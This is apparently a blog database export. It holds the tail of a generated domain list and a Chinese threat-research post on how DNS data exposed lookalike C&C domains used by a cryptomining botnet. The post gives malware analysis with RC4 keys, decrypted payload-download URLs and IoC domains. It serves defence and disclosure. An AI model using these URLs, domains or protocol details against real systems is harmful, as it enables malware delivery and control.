onukefalion-minihekifage.name\nmacrodibunant-covidugehood.net\nexogudipish-ilarazifor-semifurity.info\npostiheragic-antizelussion-miniximixetn.biz\noverihotoment.name\ninovufan.com\nrekorikoly-postapohabite-irehiheth.org\nresihokument-inedibadom-interukaxobese.com\nmisidinuward-rehovaful.biz\ntransahosety-interohexal.net\nmicrofikuty-cozuraness.net\nmisubipify-regemoziless-disizasahic.com\nmisapimirese-inifizor.net\nmisogasous.info\ncotosenith-nonekohofion-macrofetuth.org\nmicrorixassion.info\neninazacor-procopament.name\nderaxehuward-subazitish.info\npostupazety.info\nminicakoth.net\nmisenenunary-multifesakure-transofoxant.com\nprecurokation-ilalapish.net\nsemigilitous.com\nanticekipic-unetikenancy.biz\nenecexodom.info\nultrapoloven-transigamance.com\npretiheful.name\nmacrodivuward-imizamism-ilahocution.name\nminikeseness-misidovate.biz\nenolocist-exahazoward-recosifary.com\nreroberancy-iraxifous-transevicenern.net\nmisetepelike-semicadarement-macrokibolike.com\nregasoment.name\noverafupunern.org\nprexuhuled-prebitucossion.info\nunderavegal-imuduvize.biz\noveracuxoping-monodomiment-disoxecing.net\nmisirepahood-prorolonite.org\nmicroxakeror-microxepation-underuronodant.net\nmonopikety.name\ncolanokic-delogisify-cobumuth.com\nrelacelical-semirehigern.com\nsubabozihood.org\nemeleriward-semimocoful-interifihetion.info\nultramasizeth-rexuricission.info\ninepibadom-transexusement-underudokirate.com\nrelodoful-inazifutor-nonafitipance.name\ndegakiring-multitamalulike-exosarese.biz\ndiseburodom.biz\nilivebusion-provovogous-exugikobic.name\ninezokussion.info\nmacrococopish-minituluship-antiluvuless.info\ncozafufihood-execuhance-postasahanish.org\nmicrokobotish.com\nregofaly.name\ndisalatible-misubukith.com\nsubugizobish-postidacage-iruxukical.biz\noverupobidom.name\nultratulahood-noneguvive.info\nunderocukefive.org\nsubasinufy.com\niresizegal-depufapehood.net\niretokeward-unenecixous.biz\nilivusagage.net\nmicrosihoxical.org\nsuboxuveness.net\nsubehefufy.org\nantivovavedom-postagoxible.com\nsemipipedom-deginaship.com\nantifahegion.com\nemuxehoness-emovoxofency.biz\ninterulacetn.com\nrerenussion-ilezetuxish.org\nprexasikable.org\nirobusaging-enocegolal.com\nantigocossion.biz\nenuxagonist-imepehehood-releridom.biz\ndegixehiness.com\nrezedukussion-transaneping.com\nsemifozussion.info\nenehigure-misaxamurist-interexixist.net\nnonaxacihood-irebonozish-transevohency.org\nimosomable.name\nenecimarian-microbifimassion.name\nenesuzacity-refopement-transidocodom.biz\npostupidic-subedadian-underofoxoment.info\ntranseguxution-interuhamugism-irihoxeward.net\nexivorish.name\ndedemify.com\nrekitahadom-multipiliship-presidevite.org\nmonokohohoful-overerukikize.net\npropocazify-misahotify-iretesan.name\ncoparasuship.org\niragopity-overosisement.info\nderuzesion.com\nsuborikapor.biz\nenudipern-antixaboly-ultradomovofy.org\nantinihiless-multiperediship.net\nmicrotesedom.biz\ntransukeletn.net\nmicrokisotion.info\nultravixovive-ilohukikish-exopecuhable.biz\noverepelument-macropomelike-nonezitiship.org\nmicrodotefize-monobedovite.com\nmisegisan-interazasoful-ultraxosimen.info\niniricity-monogimikese.net\nexifopith-propisuty-macrobiguness.net\nresasety-multikobekuth.org\niririmoship-monoxurevance.com\nunufazicese-postelagable.org\nrexocoful-multiraxovical.biz\ndenikager-transaderisancy.net\nsubisivikish-ilurilenan-imisihexist.name\ninterefifed-nonedapoward-prebonuloly.biz\ncogukesuship.com\nantikozohotion.name\nilefoxaly-iluxucadize.org\nprefadirodom.name\nmacromezevite-macrozomotoward-suboxezeness.org\nrepihobary-nonubotath.net\nnonixurive.name\ninatomeletn.com\nimehifoded-derodeward.org\nunetolinible-multidofexern-iluhumese.com\nexazegetn.info\nmultikevelike.net\nmicrofidiment-ilolerency-misivezelize.name\nminisahimiward-regabokoly-dekezosese.info\niliputobous-microkusession.info\nmultivepilike-emusoketn-enihenatable.com\nimopedahary.info\noverimupigish-prozunily.info\nilulohipism-microhasoless.name\nunderogemement-minifocaman.info\nultrasulahood-iropogision-imomuvuhood.net\nrezepuxical-subocinary.info\nultrabesacify-emuferiming.name\nunderepibible-exarozish.info\ntransenumument-ultrameresision.org\nprokunikency.com\nexaduhify-prepexily.info\ndisugosize-proserahible-emogucern.info\ndisexeguless.info\ninemebous-nonecezancy.biz\nenuguvohish.org\nrebasotity-postifoner.org\nmisekozihancy-miniretulelike-anticulevument.biz\ntransobonetion.biz\noverapezor-renihution-interozopoful.name\ndemexoming-transoratirite-precezerancy.net\nprekageren-prodikuzument.name\npostufimation.info\npostugakive-subodavure.name\ndemetosith-pronizevission-underogovable.com\nantizufossion.info\noverifodist-exinutiship-probibalidom.info\ndetozahood-exehorobify.name\nmacrohukoxure.info\ndisigaror.net\nsubadadutian-underatuzity-imapuxonist.biz\nultraxapohood-unukuxible-inalusacant.org\nimidufion-multifaxehood.org\nirevitinive-interekemily-devudedefy.com\nprobekohodom-transohimument.info\nmultivamision-unabizable-minivifebusion.net\nemecazufing.biz\nenofelary.net\nantivizodidom-underozivuzal.org\nsemiragotion.biz\nultrataconess-microrogotion.info\nultrahezuveth-nonivocify-unenokith.com\nemeciritize.info\nminirahision-iroficecic.name\nmacrofiturive-disabotous-misuxoxoward.com\nunimeceth-antifexaty-dexevexoth.net\nimuzifuship-antixutoless.name\noverumudukist-microfahuhation-undericozist.net\nproviburaty-disadufezal.com\nimonoroship.net\npretohihotion-macroxerameness-irekiboward.net\nunaxadumer-ilufitary.com\nsubigecilike-remimussion.info\noverikelirern.com\nemohinan-overekirenion.org\nantisizaly-transecegety.name\nilomirism.com\nmicrosuression-ultrabumutive-transisapussion.biz\noverorohokic-pretezacian-misilefusion.org\nmonoxatocan-imavitulency-eniguboring.net\nunuzugable.biz\npostiduvern.org\nmicromomabed-semikikefage.net\nantimineful-interanosotion-transulicate.com\nrenavilaty.biz\nmultigidumable-disefezage-irebekency.name\ninugecism.org\nememozian-interapurossion.info\nilecevish.org\nantihusiment-macrovarilision-semisoxument.name\nminixecumoward-antibevunely.biz\nmacroguzofy-exuluparical.name\npostutasian-emosolosor.name\nmacromagehood-exarexofion-depetihood.com\nmisipivixency-transerezucing-monobegofassion.biz\nilizehidom.name\nultrafaruhood-prohudodom-overatopument.info\nenurudition-multigidohood-exorovusion.com\nmisebataness-antifupition.info\ncosefuness-antikufeputy-transenuvous.net\nprexubupossion.name\nultranucopite-multifevuship.net\nprofahudom-ultraxediship.org\nprexevadom.biz\ntransipekal.org\nmonogixition.info\noveruletedite-misokorism-enetunan.net\nrezobucous-prodotily-ultraleveward.org\nimogugomed-ultradomukaship-prodezavadom.info\nultranotohood-mononuzocotion-minipariveness.org\nmonovuvecish-monohedonaless-ultramurahuship.org\nsubanomigate-underogozeful.info\nultrafohuward-imuheber-interasiririze.net\nimuhuxoth-misefatasive.biz\ntransosurugen-nonumovern-macroxanulike.org\nunofafuhood-misasusomism.biz\nenuvahion-nonelipical-interolugor.org\nsuboserite-underuxafakous-subatihoward.com\nprepamovary-iresucefy-emagabive.name\ninterafuxession-delosorolike.com\nunixagihood.com\nunasodatite-overugasist-semivobuduty.info\nmacrovafith.com\nematogafible-interaxologor-iregiding.info\nderivacing-iloxeheful-inecemed.org\nmicroseboful-transebisation-degokition.biz\npostorabity-miselugific-minizahiward.com\nmonokacily.name\nunderucotal-monobunedoless-minikulify.net\nreceziless-ultradasify-prefazofish.org\nmonolalession.name\nunderizonedom-macropodavuhood.net\nmisopoval.name\nunderivadant-semibofixoty.info\nminipeboxing-deracocify.biz\noverumakency-prekozulure.com\nexufifision.com\nprezalehaly.info\ndekasafy-imevinupable.info\ncoviviship-pronehaless.info\nultratovibuhood-microburodom.info\nunderucebohical.net\nantitegabussion-devumuth-revexorical.com\niritukan-interatadite-misafegoth.com\nsemibizolument-underotaxive.net\nmisilaracal-minisomudese.name\ncobevahant-minimufocity-cotoxanoth.com\nprozapetament.info\nunderumamotion-interediripite.org\nexofecukity.biz\nunderusimant-unigaverical.info\nunderarixogage.org\niripabath-irecuboxible.info\nunderobomipous-imofevazancy.info\ndekegexive-derokukith.net\nmicrobigukement-overazoredom.info\npostaruxanant.com\nremenuty-postexinity.org\nirohorafy-antixomafese.org\nexanisary-disomugetn-rekamaty.name\ninterasupukity-emufucoship-semibumaless.info\nmacronoboship-probihohodom.info\nenorasancy-irenagion-underexelozer.net\nprevesuxage-prevakomous-exorovage.info\ninehegely-enolobocical.net\niranuzulike-subibeneship-misezomor.name\ninteripurusist-antimafidom-multinedisency.info\noveridaturary-antikezuful-dexepovish.name\nultrakorudath-exofabidern-cogenakulike.org\nsemipodofate-misibogesion-unasobuhood.org\nemubicodency-interotupure.net\nimetocirian.biz\nunderunazency-microrisover-antineheless.biz\nmacrocumubohood-emukafosion-subupenure.info\ndepifesion-suburinipible-interinokage.com\nunihogish.name\nminilugovefy.net\nsemigakitan.net\nmisuviking-transidodunate.com\nantimupacary-unixosaward.com\nimizagution-cokivaxoship-emavavism.info\npostivikism-prefuvezedom-denihuship.org\nirirecupist.biz\ncofiresary-dedidigage-multivucaness.com\nrelarity-inagomese-exaderaward.net\nnonusonuth-exifaxufy.net\nsubinobese-transinacibic.net\nexegudous-underitifiment.info\nmulticupapize.info\nposticazalish-emedokician-transezuraless.info\nultranepacihood.net\nunorubese-inozoficese.org\nunocacish-enoniculy.biz\ninakirission-multihigutite-dedafuleship.net\nimenazotian-ilesafance.com\nanticocacable-imonifion-interapopation.biz\nmininovition-underucuxety-transamurizancy.com\nemozonous.biz\noverofucodom-ultrafizudive-enekaconism.org\nrecitofuly-multikobepofy.org\nsemixexiless-ilagamic.org\nprerozunodom-interixudoment.biz\nunderanipetn-imanodidible-ultraropagic.name\nmultikafenoth-antiguhipassion-multilitebern.info\nultralufetous-underecanagive.net\nsemihesegite-nonilakal-postubetinese.net\nnonepitopible-overozuzate-emuxevive.name\nultrafikuth.org\nmicronixogage-prerihapian-monomibession.info\ntransahihancy-semizehogament.info\nminihihokuward.net\nimenipapary-inubuharist-prebemunedom.name\ndisixadible-monocirecing.org\nexixefugal-inaxedoty.biz\npostunolobage-premugossion-dexokacate.name\nmultizocisehood-nonulafapous.name\nultracimosary.info\nenotufassion-minikavunous.biz\ninuhamage.net\nmisulonupism.info\ndesemamoth-recabalible.org\nsemixukehify-semihofenoment.name\ntransaroran-subobukezish.name\nmacrotaxigian-degoxobance-ilidilant.org\nantitamokaless-ilusulussion-inaretiless.name\ninelocument-enazobity.net\npretetegize.com\nprosimetion-interamexish-misexesency.info\nunderofogize-iruposision.com\nnonopegeker-enorefuty.info\ndisokehamary.org\nunetikuhood.org\nnonisuzilant-intererevafian.org\nprenukorive-semimelekical-semixuxihement.biz\noveraxehous-misugutuhood-nonubetabate.name\nilunomabify-unonebern-devicepant.biz\nilegugize.org\nexofiralike-imakefebous-inomaluzed.com\nantidavumetn-regulanuty-inenidure.org\nexupamify-subixosoth.com\nregahagize-antitaliless-underoparossion.name\nmulticefolike-antilihelite-proxunezate.com\nsemimuxoment.info\ndisuhosate-nonasilahood.net\nprepevation-postebixish-probunedom.info\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5faceea47646030007b2970c |
post | null | 2020-11-24T08:57:20.000Z | 63873b9a8b1c1e0007f52f8d | use-dns-data-produce-threat-intelligence-2 | 0 | 2020-12-31T05:19:22.000Z | public | published | null | 2020-12-31T04:15:30.000Z | DNSMon: 用DNS数据进行威胁发现(2) | <p>----<em><strong>DNSMon抓李鬼记</strong></em></p><h2 id="-">背景</h2><p>本文是介绍DNSMon在生产威胁情报(域名IoC)系列文章的第二篇。</p><p>为了对抗安全人员的分析，钓鱼域名是恶意样本经常采用的一种技术手段。从字符组成和结构上看，钓鱼域名确实具有混淆视听的功效，但对于DNSMon这种具备多维度关联分析的系统来说，模仿知名公司域名的效果则适得其反，因为这样的域名一旦告警，反而更容易引起分析人员的注意。</p><p>本案例从一组疑似钓鱼域名出发，逐步介绍DNSMon是如何利用whois，ICP备案，域名解析内容和图关联等信息，让一组干瘪的域名逐渐一点点丰富起来直至最后恶意定性的。</p><p>意料之外的是，随着线索的展开，我们发现这是一起失陷设备数量巨大的安全事件，从我们的数据测算，感染规模远超100w设备。为此，我们进行了较为细致的逆向分析和回溯，但限于篇幅，样本分析细节及其家族演变，将在后续再另起一篇介绍。</p><p>通常威胁分析普遍的惯例是先知道样本恶意再逆向, 有时根据DNS数据估算感染规模。这次DNSMon系列文章里揭示的，更多是先根据DNS数据发现异常并定性，再进一步探寻还原事件真相。即从<strong>先逆向再统计</strong>，变成了<strong>先统计再逆向</strong>。<br>这个顺序的变动，是DNSMon的一小步，却是整个威胁分析分支的一大步。</p><h2 id="dnsmon-">DNSMon对未知威胁的预警</h2><p>2020-11-17，DNSMon系统提示一组域名baidugif[.]com, qqjpeg[.]com, 163pics[.]com, 163image[.]com存在安全威胁，打开一看，域名的特殊构造立刻勾起了我们进一步细致查看的兴趣。</p><p>baidu + gif, qq + jpeg, 163 + pics, 163 + image, 看起来像是大厂提供图片服务的域名，难道近期有什么新政策或者新业务，导致几个大公司纷纷加开新的图片服务？不过既然系统提示有安全威胁，是李鬼的可能性更大。</p><p>就先从系统汇总的域名基础信息开始，看看有哪些异常的内容。</p><p>第一步，从系统提取whois注册信息。一般来讲，合规运营的公司注册信息会规范且完整。</p><!--kg-card-begin: markdown--><pre><code>163pics.com createddate 2020-11-12 12:26:17
163pics.com updateddate 2020-11-12 12:26:17
163pics.com expiresdate 2022-11-12 12:26:17
163pics.com status clientDeleteProhibited | clientRenewProhibited | clientTransferProhibited | clientUpdateProhibited
163image.com createddate 2020-11-12 12:26:17
163image.com updateddate 2020-11-12 12:26:17
163image.com expiresdate 2022-11-12 12:26:17
163image.com status clientDeleteProhibited | clientRenewProhibited | clientTransferProhibited | clientUpdateProhibited
qqjpeg.com createddate 2020-11-12 12:26:17
qqjpeg.com updateddate 2020-11-12 12:26:17
qqjpeg.com expiresdate 2022-11-12 12:26:17
qqjpeg.com status clientDeleteProhibited | clientRenewProhibited | clientTransferProhibited | clientUpdateProhibited
baidugif.com createddate 2020-11-12 12:26:17
baidugif.com updateddate 2020-11-12 12:26:17
baidugif.com expiresdate 2022-11-12 12:26:17
baidugif.com status clientDeleteProhibited | clientRenewProhibited | clientTransferProhibited | clientUpdateProhibited
</code></pre>
<!--kg-card-end: markdown--><p>查询的结果显示，4个域名的注册信息很一致，注册时间甚至精确到同一秒完成，而且都打开了隐私保护。鉴于百度，腾讯和网易不会走上“分久必合，合久必分”的历史路线，因此不可能存在统一进行域名注册的操作。</p><p>李鬼的可能性+1。</p><!--kg-card-begin: markdown--><p>第二步，从系统提取ICP备案信息。下面这段话是从域名备案管理系统的政策文件<a href="https://beian.miit.gov.cn/#/Integrated/lawStatute">《工业和信息化部关于规范互联网信息服务使用域名的通知》</a>摘抄的：</p>
<blockquote>
<p>…进一步规范互联网信息服务域名使用，现就有关事项通知如下：<br>
一、互联网信息服务提供者从事互联网信息服务使用的域名应为其依法依规注册所有。<br>
…</p>
</blockquote>
<!--kg-card-end: markdown--><p>也就是说，在国内合规运营的公司一般都要进行域名备案以正常开展业务，而这4个域名的查询结果是“<em><strong>未备案或备案取消</strong></em>”。</p><p>李鬼的可能性+2。</p><p>第三步，从系统提取域名的DNS解析信息。</p><!--kg-card-begin: markdown--><pre><code>2020-11-13 18:18:56 baidugif.com A 47.100.164.28 37963|Hangzhou_Alibaba_Advertising_Co.,Ltd.
2020-11-13 18:19:04 qqjpeg.com A 47.116.142.94 37963|Hangzhou_Alibaba_Advertising_Co.,Ltd.
2020-11-13 18:18:50 163pics.com A 39.98.228.46 37963|Hangzhou_Alibaba_Advertising_Co.,Ltd.
2020-11-13 17:00:22 163image.com A 39.98.228.46 37963|Hangzhou_Alibaba_Advertising_Co.,Ltd.
</code></pre>
<!--kg-card-end: markdown--><p>4个域名的活跃时间一致，解析结果看起来还算正常，没有指向同一个IP，但ASN都同属37963阿里云，显然是同一组织或个人所为。</p><p>此外，当我们观察这个四个域名的流量曲线，注意到这4个域名活动行为几乎一致。</p><p>李鬼的可能性+3。</p><p>到这里，这一组域名已经可以标记为99%级别可靠的恶意域名了，但是要将其标注为99.99%可靠的域名的话，我们还需要更多的交叉数据比对。</p><h2 id="--1">关联</h2><p>从DNSMon提取的基础信息显示，这组域名就是李鬼无疑了。但系统的安全威胁告警，并不是仅仅依赖这些基础信息做决策得出的，而是借助了更多的数据展开关联分析得出的结论。</p><p>关联分析根源于最朴素的想法：“近朱者赤近墨者黑”，和坏蛋打交道大概率不是好人，马老板的朋友圈多数是能人异士。</p><p>以4个域名做为种子，从我们的数据得到了下面的关联图：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/12/1-2-1.png" class="kg-image" alt loading="lazy"></figure><p>对于关联图，一方面，是利用其中的样本信息对4个域名进行定性，就是回答域名具体用途是什么，钓鱼？Downloader或是C&C？</p><p>分析之后，可以看出系统预警的原因是因为：关联出来的样本，能在VT查询到结果的，比如e64ac44596e1c66036ca3e58c28c24a6，已经被众多杀毒引擎标注有问题；未能在VT查到结果的，比如b4070c64ae268e9edf383b6096a68fc3，图系统也有偏黑的属性标签。而和4个种子域名关联最紧密的b4070c64ae268e9edf383b6096a68fc3 是一个DLL文件，都以TCP：2653和4个域名进行了通信，看起来<strong><em>域名的用途大概率是C&C</em></strong>。</p><p>另一方面，关联图可以弥补遗漏的信息。</p><p>其中，最有意思的是关联出的一个域名“xia.doubeidong[.]com”，在其上承载着一个URL “http[:]//xia.doubiedong.com:45678/”，后台服务是国内黑客的最爱HFS。根据页面信息显示，在服务器提供服务的16个小时里，已经有超过<strong>700万</strong>次的下载。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/3.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>弥补信息的另一个有趣点在URL。</p>
<pre><code>http[:]//wx1.sinaimg.cn/large/0082blolly1gkh5uqz322g300g00g7jv.gif MD5: c3a7d82f39437c624169c59bcdaf0430
http[:]//tiebapic.baidu.com/tieba/pic/item/e1fe9925bc315c6070d21eae9ab1cb134954772f.jpg MD5: c3a7d82f39437c624169c59bcdaf0430
</code></pre>
<!--kg-card-end: markdown--><p>打开这两个URL，页面显示的是一个很小很模糊的顺时针转动箭头，但是另存为文件后，文件大小却接近571KB，明显是在玩假图片的路数。</p><p>至此，利用DNSMon系统，我们从数据层面对这4个域名有了“恶意”的定性。但要解释样本和域名之间的关系，还是要进行简要地逆向分析。</p><h2 id="--2">逆向定性</h2><p>经分析，baidugif[.]com, qqjpeg[.]com, 163pics[.]com, 163image[.]com的用途确实是C&C，而xia.doubiedong[.]com则和挖矿有关。</p><h2 id="-1-b4070c64ae268e9edf383b6096a68fc3">样本1分析：b4070c64ae268e9edf383b6096a68fc3</h2><p>样本b4070c64ae268e9edf383b6096a68fc3，是一个加载器，主要功能是加载运行内嵌在PE资源里的5个恶意的文件。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/12/samp_res.jpg" class="kg-image" alt loading="lazy"></figure><p>其中名为<code>LOL</code>的资源与本案例相关的，因此本文只聚焦LOL文件。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/12/lol_res.jpg" class="kg-image" alt loading="lazy"></figure><p>Dump出LOL的MD5为a20a9e26865291aa651242abcf8a958c，它包含了5个域名 ，比我们从数据观测的角度多一个。</p><pre><code>qqjpeg.com
163pics.com
163image.com
baidugif.com
baidupics.com
</code></pre><p></p><!--kg-card-begin: markdown--><p>LOL运行时会向C&C发送加密的长度10字节的上线信息，以下明文为例</p>
<pre><code>6c 36 04 00 00 ff 02 ff 02 ff
</code></pre>
<p>加密算法RC4, KEY 10字节,</p>
<pre><code>0C 22 38 4E 5A 0C 22 38 4E 5A
</code></pre>
<p>加密后得到BOT向C&C发送的密文</p>
<pre><code>6f 50 4f 3a 7b 94 b2 8e ec e6
</code></pre>
<p>当C&C收到BOT的请求后，向BOT回发的加密的信息</p>
<pre><code>ba 0a 43 19 eb 61 9b 1a d3 0c 74 5e d5 c1 ae 59 a0 cf 52 d7 15 35 9b c1 61 07 20 16 93 5f 01 d3 9d ed 05 9c 20 41 83 a9 8b 44 d7 8e de df 21 4a 6b 95 08 6f f6 cc cd 0a 54 7d d5 ea 6b fc 18 46 ec 9d f9 2e fe e7 59 81 63 64 4a 0f c7 05 83 5e fd 58 a6 59 ce f4 f8 ed f8 ba 3a 02 13 89 11 f4 64 a4 b6 60 23 55 7a 50 2e ef 09 de 5a 72 42 a8 3b b5 2d 2f dd 45 d3 ef 5e 94 8d d3 5c 5c f7 e0 ae e1 4e f5 32 13 88 07 5f 45 24 22 11 14 b8 d2 88 f7 73 87 6a b4 f4 a4 76 23 97 4f 08 b5 4a fe f5 2a 57 6e b4 ce 2f 51 05 81 1c 14 93 84 14 bb 3e 85 a0 7c fe 1c 28 18 c1 d8 d5 5c c8 f7 c7 a1 b1 d7 c7 f3 83 34 3b c8 f5 12 0d d4 06 84 5d f2 fd 11 4c 87 05 3e bb 6b 4a 66 0b da b2 d1 68 d7 6f b9 a1 08 dc 8d 40 18 ff af c3 c7 b8 9d de 8f e6 d5 4e 40 8d be 68 d0 60 80 63 84 93 3b 88 6f 33 52 f8 ad 8d 89 8f de 81 ef 24 8a 0d 52 6f 67 3a ae fc 2b fc 4b c8 8b 55 b8 01 c3 91 67 46 fc a4 3d a2 5c 99 a4 48 17 41 6f 48 08 76 3b 8b 50 19 de 8c fc 86 82 ab 42 af fd 7d f6 95 c6 6c e1 98 fb 7f df 2d 98 16 72 dd 1a c0 03 db 06 10 36 f4 e8 8a 49 3a 2e 80 58 87 cb 48 b2 e7 f7 af 73 3e 44 dd 5c db 8b 45 9c 30 74 84 bf 9c 5c 16 69 77 b7 af 5d 26 fa 18 bf f9 52 1f 17 0e 49 b5 ca 94 85 b1 ac d9 eb 26 48 9e fe e4 b5 27 b2 f7 d8 55 02 f9 90 9c 98 37 8f bb 66 f9 3a 99 a0 21 2f 4a e8 bf 63 9a 54 69 08 bf bd 8b e2 80 3d 2d 9b 65 22 5e 9e f1 0f 29 16 dd 97 e7 b1 6e 0c dc 00 3b 1f 0b 77 49 2b a9 ee 78 81 40 db bc 15 26 c4 7c 8a 2a 66 8d fa 3b a8 80 a8 ce f6 5e 04 c0 3b f8 a6 34 fa 8d d7 55 46 67 e7 d8 4d d1 24 79 f7 af 26 fc 90 fd ca 57 35 e5 e4 ce b5 d3 43 8f b4 63 9e 12 67 e3 a5 4e 3d e7 af 14 be fc 29 1f a9 4b 64 5d e9
</code></pre>
<p>解密算法RC4, KEY 10字节</p>
<pre><code>0C 22 38 4E 5A 0C 22 38 4E 5B
</code></pre>
<p>解密后得到以下URL，可以看出，它们和前文所述"玩假图片的路数的URL"的模式是一样的。</p>
<pre><code>https[:]//imglf3.nosdn.127.net/img/T0Jid3A3NGx6NGYwR1RURm53bXUvVnBSMnp4Kyt6NW1rUi9lN29ITDhYSlhOTWxnSHFpMVhRPT0.gif
https[:]//imglf6.nosdn.127.net/img/T0Jid3A3NGx6NGYwR1RURm53bXUvWXYvd1U3QUt6SXUrNCtvK2JiOXhNY3gvaldBdmlHRWF3PT0.gif
http[:]//tiebapic.baidu.com/tieba/pic/item/cffc1e178a82b901bc520176648da9773812effd.jpg
http[:]//tiebapic.baidu.com/tieba/pic/item/cffc1e178a82b901bc520176648da9773812effd.jpg
http[:]//wx3.sinaimg.cn/large/008elXdrly1glzkcp1nndg300g00gqht.gif
http[:]//wx2.sinaimg.cn/large/008elXdrly1glzkclznjtg300g00gqht.gif
</code></pre>
<p>那图片到底是什么呢？以上面URL对应的图片（MD5:6f978ff7382f89d613647283850d4a38）为例，经发析，发现它是一个使用RC4加密，zlib压缩的文件，解密解压后得到下面的最终的业务PE文件（MD5:dd8a3e4e5c84ffb9ec8b845ac687d647），验证了我们最初的判断，"假图片"。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/12/lol_final.jpg" class="kg-image" alt loading="lazy"></figure><p>至此b4070c64ae268e9edf383b6096a68fc3与4个李鬼域名，以及"玩假图片的路数"URL都关联起来了。</p><p></p><h2 id="-2-d8380bf0739384d82aaadc4d36f3abee">样本2分析：d8380bf0739384d82aaadc4d36f3abee</h2><!--kg-card-begin: markdown--><p>样本d8380bf0739384d82aaadc4d36f3abee访问URL下载到的45678.txt文件是一串被加密过的数据：</p>
<pre><code>A5CA21A8E6A3DCC0E2B1AE786464602A3F3F7E7F64753E697F6574717F3E737F7D3F6967633F7160793F607562637F7E717C3F76797C753F47555273722623212821232829712673232726232175257228732726292926297426732F7D7564787F742D747F677E7C7F717436797E7C797E752D646265753663787162755B75692D7173717273267176762874737276762476747472232121257322232471272574B1AFA5CA21A8E6A3DCC0E21D1AA3DCC0E221A1B3A4F6A5C8C6A7B1AE532A4C47797E747F67634C797E764C637D63632122683E756875B1AFA3DCC0E221A1B3A4F6A5C8C6A7E4399CFF2
</code></pre>
<p>这串数据解密后得到有道云笔记的一个URL：</p>
<pre><code>http[:]//note.youdao.com/yws/api/personal/file/WEBcb63181389a6c37631e5b8c769969d6c?method=download&inline=true&shareKey=acabc6aff8dcbff4fddb3115c234a75d
</code></pre>
<p>上述URL下载得到的是一个EXE文件，名为n1.exe或n2.exe:</p>
<pre><code>731c9d6e7c77e4f507de16ba8146779b n1_exe_youdao
b1fd035f4aaba2cd1e56e25e94dd99f3 n2_exe_youdao
</code></pre>
<p>该文件本质是一个RAR自解压文件：</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/12/Snipaste_2020-12-28_15-31-20-2.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>其中的 audiodg.exe 或 lsmm.exe 文件，是易语言编写的一个 EXE 文件。它在运行过程中会对自身内嵌的PE进行部分数据的替换与组合，并释放出以下两个文件：</p>
<ol>
<li>servicesXX.exe(XX为2个随机字符)</li>
<li>delziji123.txt(存放自身的文件路径，后续会根据这个路径将自身删除)<br>
servicesXX.exe 文件中包含另一条有道云笔记的URL：</li>
</ol>
<pre><code>http[:]//note.youdao.com/yws/api/personal/file/WEB7d6e44695d1d0f3e1c0cd07fb4d60643?method=download&inline=true&shareKey=329a77febe53d227a830bd860e10bca9
</code></pre>
<p>访问该URL下载到hx1.exe文件，该文件即为矿机程序。</p>
<!--kg-card-end: markdown--><h2 id="--3">感染分布</h2><p>从实际的感染分布来看，中国大陆地区的31个省市均有感染。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/4.png" class="kg-image" alt loading="lazy"></figure><h2 id="--4">溯源分析</h2><p>在查看数据的过程中，我们也一直在想，究竟样本是经过什么途径到达了感染的目标？经过溯源，我们还原了感染的路径，如下图。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/12/5.png" class="kg-image" alt loading="lazy"></figure><p>是一个叫NBMSClient的工具一系列的父子进程创建，最终加载了一个名为uwspvps.dll的动态链接库，访问了引起我们注意的4个域名。 </p><p>通过搜索引擎搜索“NBMSClient”，结果显示是一个网吧相关的运维工具。可以猜测，随着样本被维护通道的不断下发推广，域名和其他诸多线索逐渐汇集到了DNSMon，从而触发了此次预警。 </p><h2 id="--5">结论： </h2><p>1. 得益于DNS的基础性，DNSMon具备及时发现不同行业安全威胁的能力 ，尤其在现有安全软件无检出，或者是用户没有使用安全安全软件的场景下，这种新维度可以和现有安全产品组成有效的交叉火力。</p><p>2. 网吧运维工具由于安装范围广，应该具备较为专业的安全能力为维护通道保驾护航，防止下发通道被恶意利用。</p><p>3. 为躲避各类安全产品的检测，恶意样本的传播借助了大公司的基础服务，比如本次事件用到了wx1.sinaimg[.]cn，tiebapic.baidu[.]com和note.youdao[.]com提供的图片下载服务。</p><h2 id="ioc">IoC </h2><!--kg-card-begin: markdown--><pre><code>域名：
baidugif.com
qqjpeg.com
163pics.com
163image.com
xia.doubiedong.com
baidupics.com
</code></pre>
<!--kg-card-end: markdown--> | ----DNSMon抓李鬼记
背景
本文是介绍DNSMon在生产威胁情报(域名IoC)系列文章的第二篇。
为了对抗安全人员的分析，钓鱼域名是恶意样本经常采用的一种技术手段。从字符组成和结构上看，钓鱼域名确实具有混淆视听的功效，但对于DNSMon这种具备多维度关联分析的系统来说，模仿知名公司域名的效果则适得其反，因为这样的域名一旦告警，反而更容易引起分析人员的注意。
本案例从一组疑似钓鱼域名出发，逐步介绍DNSMon是如何利用whois，ICP备案，域名解析内容和图关联等信息，让一组干瘪的域名逐渐一点点丰富起来直至最后恶意定性的。
意料之外的是，随着线索的展开，我们发现这是一起失陷设备数量巨大的安全事件，从我们的数据测算，感染规模远超100w设备。为此，我们进行了较为细致的逆向分析和回溯，但限于篇幅，样本分析细节及其家族演变，将在后续再另起一篇介绍。
通常威胁分析普遍的惯例是先知道样本恶意再逆向, 有时根据DNS数据估算感染规模。这次DNSMon系列文章里揭示的，更多是先根据DNS数据发现异常并定性，再进一步探寻还原事件真相。即从先逆向再统计，变成了先统计再逆向。
这个顺序的变动，是DNSMon的一小步，却是整个威胁分析分支的一大步。
DNSMon对未知威胁的预警
2020-11-17，DNSMon系统提示一组域名baidugif[.]com, qqjpeg[.]com, 163pics[.]com, 163image[.]com存在安全威胁，打开一看，域名的特殊构造立刻勾起了我们进一步细致查看的兴趣。
